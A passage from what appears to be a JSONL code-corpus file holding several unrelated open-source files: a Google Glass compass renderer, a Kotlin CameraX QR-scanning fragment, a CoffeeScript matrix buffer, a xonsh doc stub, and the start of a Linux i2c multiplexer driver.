com.google.android.glass.sample.compass.model.Place;\nimport com.google.android.glass.timeline.DirectRenderingCallback;\n\nimport android.content.Context;\nimport android.graphics.Canvas;\nimport android.graphics.Color;\nimport android.location.Location;\nimport android.os.SystemClock;\nimport android.util.Log;\nimport android.view.LayoutInflater;\nimport android.view.SurfaceHolder;\nimport android.view.View;\nimport android.widget.FrameLayout;\nimport android.widget.RelativeLayout;\nimport android.widget.TextView;\n\nimport java.io.File;\nimport java.util.List;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * The surface callback that provides the rendering logic for the compass live card. This callback\n * also manages the lifetime of the sensor and location event listeners (through\n * {@link OrientationManager}) so that tracking only occurs when the card is visible.\n */\npublic class CompassRenderer implements DirectRenderingCallback {\n\n private static final String TAG = CompassRenderer.class.getSimpleName();\n\n /**\n * The (absolute) pitch angle beyond which the compass will display a message telling the user\n * that his or her head is at too steep an angle to be reliable.\n */\n private static final float TOO_STEEP_PITCH_DEGREES = 70.0f;\n\n /** The refresh rate, in frames per second, of the compass. */\n private static final int REFRESH_RATE_FPS = 45;\n\n /** The duration, in milliseconds, of one frame. */\n private static final long FRAME_TIME_MILLIS = TimeUnit.SECONDS.toMillis(1) / REFRESH_RATE_FPS;\n\n private SurfaceHolder mHolder;\n private boolean mTooSteep;\n private boolean mInterference;\n private RenderThread mRenderThread;\n private int mSurfaceWidth;\n private int mSurfaceHeight;\n\n private boolean mRenderingPaused;\n\n private final FrameLayout mLayout;\n private final CompassView mCompassView;\n private final RelativeLayout mTipsContainer;\n private final TextView mTipsView;\n private final OrientationManager mOrientationManager;\n private final Landmarks mLandmarks;\n\n private final OrientationManager.OnChangedListener mCompassListener =\n new OrientationManager.OnChangedListener() {\n\n @Override\n public void onOrientationChanged(OrientationManager orientationManager) {\n mCompassView.setHeading(orientationManager.getHeading());\n\n boolean oldTooSteep = mTooSteep;\n mTooSteep = (Math.abs(orientationManager.getPitch()) > TOO_STEEP_PITCH_DEGREES);\n if (mTooSteep != oldTooSteep) {\n updateTipsView();\n }\n }\n\n @Override\n public void onLocationChanged(OrientationManager orientationManager) {\n Location location = orientationManager.getLocation();\n List places = mLandmarks.getNearbyLandmarks(\n location.getLatitude(), location.getLongitude());\n mCompassView.setNearbyPlaces(places);\n }\n\n @Override\n public void onAccuracyChanged(OrientationManager orientationManager) {\n mInterference = orientationManager.hasInterference();\n updateTipsView();\n }\n };\n\n /**\n * Creates a new instance of the {@code CompassRenderer} with the specified context,\n * orientation manager, and landmark collection.\n */\n public CompassRenderer(Context context, OrientationManager orientationManager,\n Landmarks landmarks) {\n LayoutInflater inflater = LayoutInflater.from(context);\n mLayout = (FrameLayout) inflater.inflate(R.layout.compass, null);\n mLayout.setWillNotDraw(false);\n\n mCompassView = (CompassView) mLayout.findViewById(R.id.compass);\n mTipsContainer = (RelativeLayout) mLayout.findViewById(R.id.tips_container);\n mTipsView = (TextView) mLayout.findViewById(R.id.tips_view);\n\n mOrientationManager = orientationManager;\n mLandmarks = landmarks;\n\n mCompassView.setOrientationManager(mOrientationManager);\n }\n\n @Override\n public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {\n mSurfaceWidth = width;\n mSurfaceHeight = height;\n doLayout();\n }\n\n @Override\n public void surfaceCreated(SurfaceHolder holder) {\n // The creation of a new Surface implicitly resumes the rendering.\n mRenderingPaused = false;\n mHolder = holder;\n updateRenderingState();\n }\n\n @Override\n public void surfaceDestroyed(SurfaceHolder holder) {\n mHolder = null;\n updateRenderingState();\n }\n\n @Override\n public void renderingPaused(SurfaceHolder holder, boolean paused) {\n mRenderingPaused = paused;\n updateRenderingState();\n }\n\n /**\n * Starts or stops rendering according to the {@link LiveCard}'s state.\n */\n private void updateRenderingState() {\n boolean shouldRender = (mHolder != null) && !mRenderingPaused;\n boolean isRendering = (mRenderThread != null);\n\n if (shouldRender != isRendering) {\n if (shouldRender) {\n mOrientationManager.addOnChangedListener(mCompassListener);\n mOrientationManager.start();\n\n if (mOrientationManager.hasLocation()) {\n Location location = mOrientationManager.getLocation();\n List nearbyPlaces = mLandmarks.getNearbyLandmarks(\n location.getLatitude(), location.getLongitude());\n mCompassView.setNearbyPlaces(nearbyPlaces);\n }\n\n mRenderThread = new RenderThread();\n mRenderThread.start();\n } else {\n mRenderThread.quit();\n mRenderThread = null;\n\n mOrientationManager.removeOnChangedListener(mCompassListener);\n mOrientationManager.stop();\n\n }\n }\n }\n\n /**\n * Requests that the views redo their layout. This must be called manually every time the\n * tips view's text is updated because this layout doesn't exist in a GUI thread where those\n * requests will be enqueued automatically.\n */\n private void doLayout() {\n // Measure and update the layout so that it will take up the entire surface space\n // when it is drawn.\n int measuredWidth = View.MeasureSpec.makeMeasureSpec(mSurfaceWidth,\n View.MeasureSpec.EXACTLY);\n int measuredHeight = View.MeasureSpec.makeMeasureSpec(mSurfaceHeight,\n View.MeasureSpec.EXACTLY);\n\n mLayout.measure(measuredWidth, measuredHeight);\n mLayout.layout(0, 0, mLayout.getMeasuredWidth(), mLayout.getMeasuredHeight());\n }\n\n /**\n * Repaints the compass.\n */\n private synchronized void repaint() {\n Canvas canvas = null;\n\n try {\n canvas = mHolder.lockCanvas();\n } catch (RuntimeException e) {\n Log.d(TAG, \"lockCanvas failed\", e);\n }\n\n if (canvas != null) {\n canvas.drawColor(Color.BLACK);\n mLayout.draw(canvas);\n\n try {\n mHolder.unlockCanvasAndPost(canvas);\n } catch (RuntimeException e) {\n Log.d(TAG, \"unlockCanvasAndPost failed\", e);\n }\n }\n }\n\n /**\n * Shows or hides the tip view with an appropriate message based on the current accuracy of the\n * compass.\n */\n private void updateTipsView() {\n int stringId = 0;\n\n // Only one message (with magnetic interference being higher priority than pitch too steep)\n // will be displayed in the tip.\n if (mInterference) {\n stringId = R.string.magnetic_interference;\n } else if (mTooSteep) {\n stringId = R.string.pitch_too_steep;\n }\n\n boolean show = (stringId != 0);\n\n if (show) {\n mTipsView.setText(stringId);\n doLayout();\n }\n\n if (mTipsContainer.getAnimation() == null) {\n float newAlpha = (show ? 1.0f : 0.0f);\n mTipsContainer.animate().alpha(newAlpha).start();\n }\n }\n\n /**\n * Redraws the compass in the background.\n */\n private class RenderThread extends Thread {\n private boolean mShouldRun;\n\n /**\n * Initializes the background rendering thread.\n */\n public RenderThread() {\n mShouldRun = true;\n }\n\n /**\n * Returns true if the rendering thread should continue to run.\n *\n * @return true if the rendering thread should continue to run\n */\n private synchronized boolean shouldRun() {\n return mShouldRun;\n }\n\n /**\n * Requests that the rendering thread exit at the next opportunity.\n */\n public synchronized void quit() {\n mShouldRun = false;\n }\n\n @Override\n public void run() {\n while (shouldRun()) {\n long frameStart = SystemClock.elapsedRealtime();\n repaint();\n long frameLength = SystemClock.elapsedRealtime() - frameStart;\n\n long sleepTime = FRAME_TIME_MILLIS - frameLength;\n if (sleepTime > 0) {\n SystemClock.sleep(sleepTime);\n }\n }\n }\n }\n}\n"} +{"text": "\r\n\r\n\r\n\r\n \r\n \r\n \r\n \r\n\r\n\r\n"} +{"text": ".. _xonsh_wizard:\n\n******************************************\nWizard Making Tools (``xonsh.wizard``)\n******************************************\n\n.. automodule:: xonsh.wizard\n :members:\n :undoc-members:\n :inherited-members:\n\n"} +{"text": "package one.mixin.android.ui.qr\n\nimport android.Manifest\nimport android.annotation.SuppressLint\nimport android.app.Activity\nimport android.content.Context\nimport android.content.Intent\nimport android.graphics.Bitmap\nimport android.graphics.BitmapFactory\nimport android.hardware.display.DisplayManager\nimport android.os.Bundle\nimport android.util.DisplayMetrics\nimport android.util.Size\nimport android.view.MotionEvent\nimport android.view.MotionEvent.ACTION_DOWN\nimport android.view.MotionEvent.ACTION_UP\nimport android.view.ScaleGestureDetector\nimport android.view.View\nimport android.view.ViewConfiguration\nimport androidx.camera.core.Camera\nimport androidx.camera.core.CameraControl\nimport androidx.camera.core.CameraSelector\nimport androidx.camera.core.FocusMeteringAction\nimport androidx.camera.core.FocusMeteringResult\nimport androidx.camera.core.ImageAnalysis\nimport androidx.camera.core.ImageProxy\nimport androidx.camera.core.Preview\nimport androidx.camera.core.UseCase\nimport androidx.camera.core.impl.utils.futures.FutureCallback\nimport androidx.camera.core.impl.utils.futures.Futures\nimport androidx.camera.lifecycle.ProcessCameraProvider\nimport androidx.camera.view.PreviewView\nimport androidx.core.content.ContextCompat\nimport androidx.lifecycle.LifecycleOwner\nimport androidx.lifecycle.lifecycleScope\nimport com.google.mlkit.vision.common.InputImage\nimport com.tbruyelle.rxpermissions2.RxPermissions\nimport com.uber.autodispose.autoDispose\nimport kotlinx.android.synthetic.main.fragment_capture.*\nimport kotlinx.coroutines.Dispatchers\nimport kotlinx.coroutines.launch\nimport one.mixin.android.BuildConfig\nimport one.mixin.android.Constants\nimport one.mixin.android.MixinApplication\nimport one.mixin.android.R\nimport one.mixin.android.extension.REQUEST_GALLERY\nimport one.mixin.android.extension.bounce\nimport one.mixin.android.extension.decodeQR\nimport one.mixin.android.extension.defaultSharedPreferences\nimport one.mixin.android.extension.getFilePath\nimport one.mixin.android.extension.inTransaction\nimport one.mixin.android.extension.notNullWithElse\nimport one.mixin.android.extension.openGallery\nimport one.mixin.android.extension.openPermissionSetting\nimport one.mixin.android.extension.putBoolean\nimport one.mixin.android.extension.toast\nimport one.mixin.android.ui.device.ConfirmBottomFragment\nimport one.mixin.android.util.reportException\nimport one.mixin.android.widget.gallery.ui.GalleryActivity\nimport org.jetbrains.anko.getStackTraceString\nimport timber.log.Timber\nimport java.io.File\nimport java.util.concurrent.CountDownLatch\nimport java.util.concurrent.Executor\nimport java.util.concurrent.ExecutorService\nimport java.util.concurrent.Executors\nimport java.util.concurrent.atomic.AtomicBoolean\nimport kotlin.math.max\nimport kotlin.math.min\n\nabstract class BaseCameraxFragment : VisionFragment() {\n companion object {\n const val CRASHLYTICS_CAMERAX = \"camerax\"\n\n private const val UNITY_ZOOM_SCALE = 1f\n private const val ZOOM_NOT_SUPPORTED = UNITY_ZOOM_SCALE\n }\n\n protected var forScanResult: Boolean = false\n\n protected var videoFile: File? = null\n\n protected var lensFacing = CameraSelector.LENS_FACING_BACK\n\n private var alreadyDetected = false\n\n private var imageAnalysis: ImageAnalysis? = null\n\n private var preview: Preview? = null\n protected lateinit var mainExecutor: Executor\n private lateinit var backgroundExecutor: ExecutorService\n protected var camera: Camera? = null\n\n private var displayId: Int = -1\n private lateinit var displayManager: DisplayManager\n lateinit var metrics: DisplayMetrics\n private var downEventTimestamp = 0L\n private var upEvent: MotionEvent? = null\n\n private val pinchToZoomGestureDetector: PinchToZoomGestureDetector by lazy {\n PinchToZoomGestureDetector(requireContext())\n }\n private var isPinchToZoomEnabled = true\n private var isZoomSupported = true\n\n private val displayListener = object : DisplayManager.DisplayListener {\n override fun onDisplayAdded(displayId: Int) = Unit\n override fun onDisplayRemoved(displayId: Int) = Unit\n override fun onDisplayChanged(displayId: Int) = view?.let { view ->\n if (displayId == this@BaseCameraxFragment.displayId) {\n imageAnalysis?.targetRotation = view.display.rotation\n this@BaseCameraxFragment.onDisplayChanged(view.display.rotation)\n }\n } ?: Unit\n }\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n mainExecutor = ContextCompat.getMainExecutor(requireContext())\n backgroundExecutor = Executors.newSingleThreadExecutor()\n }\n\n @SuppressLint(\"RestrictedApi\", \"ClickableViewAccessibility\")\n override fun onViewCreated(view: View, savedInstanceState: Bundle?) {\n super.onViewCreated(view, savedInstanceState)\n close.setOnClickListener { activity?.onBackPressed() }\n flash.setOnClickListener {\n onFlashClick()\n flash.bounce()\n }\n gallery_iv.setOnClickListener {\n RxPermissions(requireActivity())\n .request(Manifest.permission.WRITE_EXTERNAL_STORAGE)\n .autoDispose(stopScope)\n .subscribe(\n { granted ->\n if (granted) {\n openGallery()\n } else {\n context?.openPermissionSetting()\n }\n },\n {\n }\n )\n }\n checkFlash()\n\n displayManager = view_finder.context\n .getSystemService(Context.DISPLAY_SERVICE) as DisplayManager\n displayManager.registerDisplayListener(displayListener, null)\n\n setZoomRatio(UNITY_ZOOM_SCALE)\n view_finder.setOnTouchListener { v, event ->\n if (isPinchToZoomEnabled) {\n pinchToZoomGestureDetector.onTouchEvent(event)\n }\n if (event.pointerCount == 2 && isPinchToZoomEnabled && isZoomSupported) {\n return@setOnTouchListener true\n }\n\n when (event.action) {\n ACTION_DOWN -> {\n downEventTimestamp = System.currentTimeMillis()\n }\n ACTION_UP -> {\n if (delta() < ViewConfiguration.getLongPressTimeout()) {\n upEvent = event\n return@setOnTouchListener focusAndMeter(v as PreviewView)\n }\n }\n else -> return@setOnTouchListener false\n }\n return@setOnTouchListener true\n }\n view_finder.post {\n displayId = view_finder.display.displayId\n bindCameraUseCase()\n }\n }\n\n @SuppressLint(\"RestrictedApi\")\n protected fun bindCameraUseCase() {\n metrics = DisplayMetrics().also { view_finder.display.getRealMetrics(it) }\n val rotation = view_finder.display.rotation\n\n val cameraSelector = CameraSelector.Builder().requireLensFacing(lensFacing).build()\n val cameraProviderFuture = ProcessCameraProvider.getInstance(requireContext())\n cameraProviderFuture.addListener(\n {\n val cameraProvider: ProcessCameraProvider = cameraProviderFuture.get()\n\n preview = Preview.Builder()\n .setTargetResolution(Size(metrics.widthPixels, metrics.heightPixels))\n .setTargetRotation(rotation)\n .build()\n\n imageAnalysis = ImageAnalysis.Builder()\n .setTargetResolution(Size(metrics.widthPixels, metrics.heightPixels))\n .setTargetRotation(rotation)\n .build()\n .also {\n it.setAnalyzer(backgroundExecutor, imageAnalyzer)\n }\n\n val otherUseCases = getOtherUseCases(rotation)\n\n cameraProvider.unbindAll()\n\n try {\n camera = cameraProvider.bindToLifecycle(\n this as LifecycleOwner,\n cameraSelector,\n preview,\n imageAnalysis,\n *otherUseCases\n )\n preview?.setSurfaceProvider(view_finder.surfaceProvider)\n } catch (e: Exception) {\n reportException(\"$CRASHLYTICS_CAMERAX-camera bindToLifecycle failure\", e)\n }\n },\n mainExecutor\n )\n }\n\n override fun onDestroyView() {\n super.onDestroyView()\n backgroundExecutor.shutdown()\n displayManager.unregisterDisplayListener(displayListener)\n }\n\n override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {\n if (requestCode == REQUEST_GALLERY && resultCode == Activity.RESULT_OK) {\n data?.data?.let {\n val path = it.getFilePath(MixinApplication.get())\n if (path == null) {\n context?.toast(R.string.error_image)\n } else {\n if (data.hasExtra(GalleryActivity.IS_VIDEO)) {\n openEdit(path, true, fromGallery = true)\n } else {\n openEdit(path, false, fromGallery = true)\n }\n }\n }\n }\n }\n\n private fun isLensBack() = CameraSelector.LENS_FACING_BACK == lensFacing\n\n protected fun openEdit(path: String, isVideo: Boolean, fromGallery: Boolean = false) {\n activity?.supportFragmentManager?.inTransaction {\n add(R.id.container, EditFragment.newInstance(path, isVideo, fromGallery, fromScan()), EditFragment.TAG)\n .addToBackStack(null)\n }\n }\n\n protected fun checkFlash() {\n if (isLensBack()) {\n flash.visibility = View.VISIBLE\n } else {\n flash.visibility = View.GONE\n }\n }\n\n private fun getZoomRatio(): Float =\n camera?.cameraInfo?.zoomState?.value?.zoomRatio ?: UNITY_ZOOM_SCALE\n\n @SuppressLint(\"RestrictedApi\")\n private fun setZoomRatio(zoomRatio: Float) {\n camera?.let {\n val future = it.cameraControl.setZoomRatio(zoomRatio)\n Futures.addCallback(\n future,\n object : FutureCallback {\n override fun onSuccess(result: Void?) {\n }\n\n override fun onFailure(t: Throwable?) {\n t?.let { throwable ->\n if (throwable is CameraControl.OperationCanceledException) {\n Timber.d(\"$CRASHLYTICS_CAMERAX-setZoomRatio onFailure, ${throwable.getStackTraceString()}\")\n return\n }\n if (BuildConfig.DEBUG) {\n Timber.w(\"$CRASHLYTICS_CAMERAX-setZoomRatio onFailure, ${throwable.getStackTraceString()}\")\n } else {\n reportException(\"$CRASHLYTICS_CAMERAX-setZoomRatio onFailure\", throwable)\n }\n }\n }\n },\n mainExecutor\n )\n }\n }\n\n @SuppressLint(\"RestrictedApi\")\n private fun focusAndMeter(v: PreviewView): Boolean {\n var x = 0f\n var y = 0f\n upEvent.notNullWithElse(\n {\n x = it.x\n y = it.y\n },\n {\n x = v.x + v.width / 2f\n y = v.y + v.height / 2f\n }\n )\n upEvent = null\n focus_view.focusAndMeter(x, y)\n\n camera?.let { c ->\n val pointFactory = v.meteringPointFactory\n val afPointWidth = 1.0f / 6.0f\n val aePointWidth = afPointWidth * 1.5f\n val afPoint = pointFactory.createPoint(x, y, afPointWidth)\n val aePoint = pointFactory.createPoint(x, y, aePointWidth)\n\n val future = c.cameraControl.startFocusAndMetering(\n FocusMeteringAction.Builder(\n afPoint,\n FocusMeteringAction.FLAG_AF\n ).addPoint(\n aePoint,\n FocusMeteringAction.FLAG_AE\n ).build()\n )\n Futures.addCallback(\n future,\n object : FutureCallback {\n override fun onSuccess(result: FocusMeteringResult?) {\n }\n\n override fun onFailure(t: Throwable?) {\n t?.let { throwable ->\n if (throwable is CameraControl.OperationCanceledException) {\n Timber.d(\"$CRASHLYTICS_CAMERAX-focusAndMeter onFailure, ${throwable.getStackTraceString()}\")\n return\n }\n if (BuildConfig.DEBUG) {\n Timber.w(\"$CRASHLYTICS_CAMERAX-focusAndMeter onFailure, ${throwable.getStackTraceString()}\")\n } else {\n reportException(\"$CRASHLYTICS_CAMERAX-focusAndMeter onFailure\", throwable)\n }\n }\n }\n },\n mainExecutor\n )\n }\n return true\n }\n\n protected fun getMaxZoomRatio(): Float =\n camera?.cameraInfo?.zoomState?.value?.maxZoomRatio ?: ZOOM_NOT_SUPPORTED\n\n protected fun getMinZoomRation(): Float =\n camera?.cameraInfo?.zoomState?.value?.minZoomRatio ?: UNITY_ZOOM_SCALE\n\n private fun rangeLimit(value: Float, max: Float, min: Float) =\n min(max(value, min), max)\n\n private fun delta() = System.currentTimeMillis() - downEventTimestamp\n\n abstract fun onFlashClick()\n abstract fun getOtherUseCases(rotation: Int): Array\n abstract fun onDisplayChanged(rotation: Int)\n abstract fun fromScan(): Boolean\n\n private fun handleAnalysis(analysisResult: String) {\n if (!isAdded) return\n\n requireContext().defaultSharedPreferences.putBoolean(CaptureActivity.SHOW_QR_CODE, false)\n if (forScanResult) {\n val result = Intent().apply {\n putExtra(CaptureActivity.ARGS_FOR_SCAN_RESULT, analysisResult)\n }\n activity?.setResult(Activity.RESULT_OK, result)\n activity?.finish()\n return\n }\n if (analysisResult.startsWith(Constants.Scheme.DEVICE)) {\n ConfirmBottomFragment.show(requireContext(), parentFragmentManager, analysisResult) {\n activity?.finish()\n }\n } else {\n if (fromScan()) {\n handleResult(analysisResult)\n } else {\n pseudoNotificationView?.addContent(analysisResult)\n }\n }\n }\n\n private val imageAnalyzer = object : ImageAnalysis.Analyzer {\n private val detecting = AtomicBoolean(false)\n\n override fun analyze(image: ImageProxy) {\n if (!alreadyDetected && !image.planes.isNullOrEmpty() &&\n detecting.compareAndSet(false, true)\n ) {\n try {\n decodeWithFirebaseVision(image)\n } catch (e: Exception) {\n decodeWithZxing(image)\n reportException(\"$CRASHLYTICS_CAMERAX-decodeWithFirebaseVision failure\", e)\n }\n } else {\n image.close()\n }\n }\n\n @SuppressLint(\"UnsafeExperimentalUsageError\")\n private fun decodeWithFirebaseVision(image: ImageProxy) {\n val processImage = image.image\n if (processImage == null) {\n image.close()\n return\n }\n val inputImage = InputImage.fromMediaImage(processImage, image.imageInfo.rotationDegrees)\n val latch = CountDownLatch(1)\n scanner.process(inputImage)\n .addOnSuccessListener { result ->\n result.firstOrNull()?.rawValue?.let {\n alreadyDetected = true\n handleAnalysis(it)\n }\n }\n .addOnCompleteListener {\n if (!alreadyDetected) {\n val bitmap = getBitmapFromImage(image)\n if (bitmap == null) {\n detecting.set(false)\n } else {\n decodeBitmapWithZxing(bitmap)\n }\n } else {\n detecting.set(false)\n }\n image.close()\n latch.countDown()\n }\n latch.await()\n }\n\n private fun decodeWithZxing(imageProxy: ImageProxy) {\n val bitmap = getBitmapFromImage(imageProxy)\n if (bitmap == null) {\n detecting.set(false)\n return\n }\n val result = bitmap.decodeQR()\n if (result != null) {\n alreadyDetected = true\n lifecycleScope.launch(Dispatchers.Main) {\n if (!isAdded) return@launch\n handleAnalysis(result)\n }\n }\n imageProxy.close()\n detecting.set(false)\n }\n\n private fun decodeBitmapWithZxing(bitmap: Bitmap) {\n val result = bitmap.decodeQR()\n if (result != null) {\n alreadyDetected = true\n lifecycleScope.launch(Dispatchers.Main) {\n if (!isAdded) return@launch\n handleAnalysis(result)\n }\n }\n detecting.set(false)\n }\n\n private fun getBitmapFromImage(image: ImageProxy): Bitmap? {\n return try {\n val byteArray = ImageUtil.imageToJpegByteArray(image)\n BitmapFactory.decodeByteArray(byteArray, 0, byteArray.size)\n } catch (e: Exception) {\n reportException(\"$CRASHLYTICS_CAMERAX-getBitmapFromImage failure\", e)\n null\n }\n }\n }\n\n class S : ScaleGestureDetector.SimpleOnScaleGestureListener() {\n lateinit var listener: ScaleGestureDetector.OnScaleGestureListener\n\n override fun onScale(detector: ScaleGestureDetector?): Boolean {\n return listener.onScale(detector)\n }\n }\n\n inner class PinchToZoomGestureDetector(\n context: Context,\n s: S = S()\n ) : ScaleGestureDetector(context, s), ScaleGestureDetector.OnScaleGestureListener {\n init {\n s.listener = this\n }\n\n override fun onScale(detector: ScaleGestureDetector?): Boolean {\n var scale = detector?.scaleFactor ?: return true\n\n scale = if (scale > 1f) {\n 1.0f + (scale - 1.0f) * 2\n } else {\n 1.0f - (1.0f - scale) * 2\n }\n\n var newRatio = getZoomRatio() * scale\n newRatio = rangeLimit(newRatio, getMaxZoomRatio(), getMinZoomRation())\n setZoomRatio(newRatio)\n return true\n }\n\n override fun onScaleBegin(detector: ScaleGestureDetector?) = true\n\n override fun onScaleEnd(detector: ScaleGestureDetector?) {\n }\n }\n}\n\nval donateSupported = arrayOf(\n \"bitcoin:\", \"bitcoincash:\", \"bitcoinsv:\", \"ethereum:\",\n \"litecoin:\", \"dash:\", \"ripple:\", \"zcash:\", \"horizen:\", \"monero:\", \"binancecoin:\",\n \"stellar:\", \"dogecoin:\"\n)\n"} +{"text": "Buffer = require './buffer'\nUtil = require '../../../util'\n\nclass Matrix extends Buffer\n @traits = ['node', 'buffer', 'active', 'data', 'source', 'index', 'texture', 'matrix', 'raw']\n\n init: () ->\n @buffer = @spec = null\n\n @space =\n width: 0\n height: 0\n history: 0\n\n @used =\n width: 0\n height: 0\n\n @storage = 'matrixBuffer'\n @passthrough = (emit, x, y) -> emit x, y, 0, 0\n\n super\n\n sourceShader: (shader) ->\n dims = @getDimensions()\n @alignShader dims, shader\n @buffer.shader shader\n\n getDimensions: () ->\n items: @items\n width: @space.width\n height: @space.height\n depth: @space.history\n\n getActiveDimensions: () ->\n items: @items\n width: @used.width\n height: @used.height\n depth: @buffer.getFilled()\n\n getFutureDimensions: () ->\n items: @items\n width: @used.width\n height: @used.height\n depth: @space.history\n\n getRawDimensions: () ->\n items: @items\n width: @space.width\n height: @space.height\n depth: 1\n\n make: () ->\n super\n\n # Read sampling parameters\n minFilter = @minFilter ? @props.minFilter\n magFilter = @magFilter ? @props.magFilter\n type = @type ? @props.type\n\n # Read given dimensions\n width = @props.width\n height = @props.height\n history = @props.history\n reserveX = @props.bufferWidth\n reserveY = @props.bufferHeight\n channels = @props.channels\n items = @props.items\n\n dims = @spec = {channels, items, width, height}\n\n @items = dims.items\n @channels = dims.channels\n\n # Init to right size if data supplied\n data = @props.data\n dims = Util.Data.getDimensions data, dims\n\n space = @space\n space.width = Math.max reserveX, dims.width || 1\n space.height = Math.max reserveY, dims.height || 1\n space.history = history\n\n # Create matrix buffer\n @buffer = @_renderables.make @storage,\n width: space.width\n height: space.height\n history: space.history\n channels: channels\n items: items\n minFilter: minFilter\n magFilter: magFilter\n type: type\n\n unmake: () ->\n super\n if @buffer\n @buffer.dispose()\n @buffer = @spec = null\n\n change: (changed, touched, init) ->\n return @rebuild() if touched['texture'] or\n changed['matrix.history'] or\n changed['buffer.channels'] or\n changed['buffer.items'] or\n changed['matrix.bufferWidth'] or\n changed['matrix.bufferHeight']\n\n return unless @buffer\n\n if changed['matrix.width']\n width = @props.width\n return @rebuild() if width > @space.width\n\n if changed['matrix.height']\n height = @props.height\n return @rebuild() if height > @space.height\n\n if changed['data.map'] or\n changed['data.data'] or\n changed['data.resolve'] or\n changed['data.expr'] or\n init\n\n @buffer.setCallback @emitter()\n\n callback: (callback) ->\n if callback.length <= 3\n callback\n else\n (emit, i, j) =>\n callback emit, i, j, @bufferClock, @bufferStep\n\n update: () ->\n return unless @buffer\n\n {data} = @props\n {space, used} = @\n w = used.width\n h = used.height\n\n filled = @buffer.getFilled()\n\n @syncBuffer (abort) =>\n\n if data?\n dims = Util.Data.getDimensions data, @spec\n\n # Grow if needed\n if dims.width > space.width or\n dims.height > space.height\n abort()\n return @rebuild()\n\n used.width = dims.width\n used.height = dims.height\n\n @buffer.setActive used.width, used.height\n @buffer.callback.rebind? data\n @buffer.update()\n else\n width = @spec.width || 1\n height = @spec.height || 1\n\n @buffer.setActive width, height\n\n length = @buffer.update()\n\n used.width = _w = width\n used.height = Math.ceil length / _w\n used.width = length if used.height == 1\n\n if used.width != w or\n used.height != h or\n filled != @buffer.getFilled()\n @trigger\n type: 'source.resize'\n\nmodule.exports = Matrix\n"} +{"text": "/*\n * i2c-amd756-s4882.c - i2c-amd756 extras for the Tyan S4882 motherboard\n *\n * Copyright (C) 2004, 2008 Jean Delvare \n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.\n */\n \n/*\n * We select the channels by sending commands to the Philips\n * PCA9556 chip at I2C address 0x18. The main adapter is used for\n * the non-multiplexed part of the bus, and 4 virtual adapters\n * are defined for the multiplexed addresses: 0x50-0x53 (memory\n * module EEPROM) located on channels 1-4, and 0x4c (LM63)\n * located on multiplexed channels 0 and 5-7. We define one\n * virtual adapter per CPU, which corresponds to two multiplexed\n * channels:\n * CPU0: virtual adapter 1, channels 1 and 0\n * CPU1: virtual adapter 2, channels 2 and 5\n * CPU2: virtual adapter 3, channels 3 and 6\n * CPU3: virtual adapter 4, channels 4 and 7\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n\nextern struct i2c_adapter amd756_smbus;\n\nstatic struct i2c_adapter *s4882_adapter;\nstatic struct i2c_algorithm *s4882_algo;\n\n/* Wrapper access functions for multiplexed SMBus */\nstatic DEFINE_MUTEX(amd756_lock);\n\nstatic s32 amd756_access_virt0(struct i2c_adapter * adap, u16 addr,\n\t\t\t unsigned short flags, char read_write,\n\t\t\t u8 command, int size,\n\t\t\t union i2c_smbus_data * data)\n{\n\tint error;\n\n\t/* We exclude the multiplexed addresses */\n\tif (addr == 0x4c || (addr & 0xfc) == 0x50 || (addr & 0xfc) == 0x30\n\t || addr == 0x18)\n\t\treturn -ENXIO;\n\n\tmutex_lock(&amd756_lock);\n\n\terror = amd756_smbus.algo->smbus_xfer(adap, addr, flags, read_write,\n\t\t\t\t\t command, size, data);\n\n\tmutex_unlock(&amd756_lock);\n\n\treturn error;\n}\n\n/* We remember the last used channels combination so as to only switch\n channels when it is really needed. This greatly reduces the SMBus\n overhead, but also assumes that nobody will be writing to the PCA9556\n in our back. */\nstatic u8 last_channels;\n\nstatic inline s32 amd756_access_channel(struct i2c_adapter * adap, u16 addr,\n\t\t\t\t\tunsigned short flags, char read_write,\n\t\t\t\t\tu8 command, int size,\n\t\t\t\t\tunion i2c_smbus_data * data,\n\t\t\t\t\tu8 channels)\n{\n\tint error;\n\n\t/* We exclude the non-multiplexed addresses */\n\tif (addr != 0x4c && (addr & 0xfc) != 0x50 && (addr & 0xfc) != 0x30)\n\t\treturn -ENXIO;\n\n\tmutex_lock(&amd756_lock);\n\n\tif (last_channels != channels) {\n\t\tunion i2c_smbus_data mplxdata;\n\t\tmplxdata.byte = channels;\n\n\t\terror = amd756_smbus.algo->smbus_xfer(adap, 0x18, 0,\n\t\t\t\t\t\t I2C_SMBUS_WRITE, 0x01,\n\t\t\t\t\t\t I2C_SMBUS_BYTE_DATA,\n\t\t\t\t\t\t &mplxdata);\n\t\tif (error)\n\t\t\tgoto UNLOCK;\n\t\tlast_channels = channels;\n\t}\n\terror = amd756_smbus.algo->smbus_xfer(adap, addr, flags, read_write,\n\t\t\t\t\t command, size, data);\n\nUNLOCK:\n\tmutex_unlock(&amd756_lock);\n\treturn error;\n}\n\nstatic s32 amd756_access_virt1(struct i2c_adapter * adap, u16 addr,\n\t\t\t unsigned short flags, char read_write,\n\t\t\t u8 command, int size,\n\t\t\t union i2c_smbus_data * data)\n{\n\t/* CPU0: channels 1 and 0 enabled */\n\treturn amd756_access_channel(adap, addr, flags, read_write, command,\n\t\t\t\t size, data, 0x03);\n}\n\nstatic s32 amd756_access_virt2(struct i2c_adapter * adap, u16 addr,\n\t\t\t unsigned short flags, char read_write,\n\t\t\t u8 command, int size,\n\t\t\t union i2c_smbus_data * data)\n{\n\t/* CPU1: channels 2 and 5 enabled */\n\treturn amd756_access_channel(adap, addr, flags, read_write, command,\n\t\t\t\t size, data, 0x24);\n}\n\nstatic s32 amd756_access_virt3(struct i2c_adapter * adap, u16 addr,\n\t\t\t unsigned short flags, char read_write,\n\t\t\t u8 command, int size,\n\t\t\t union 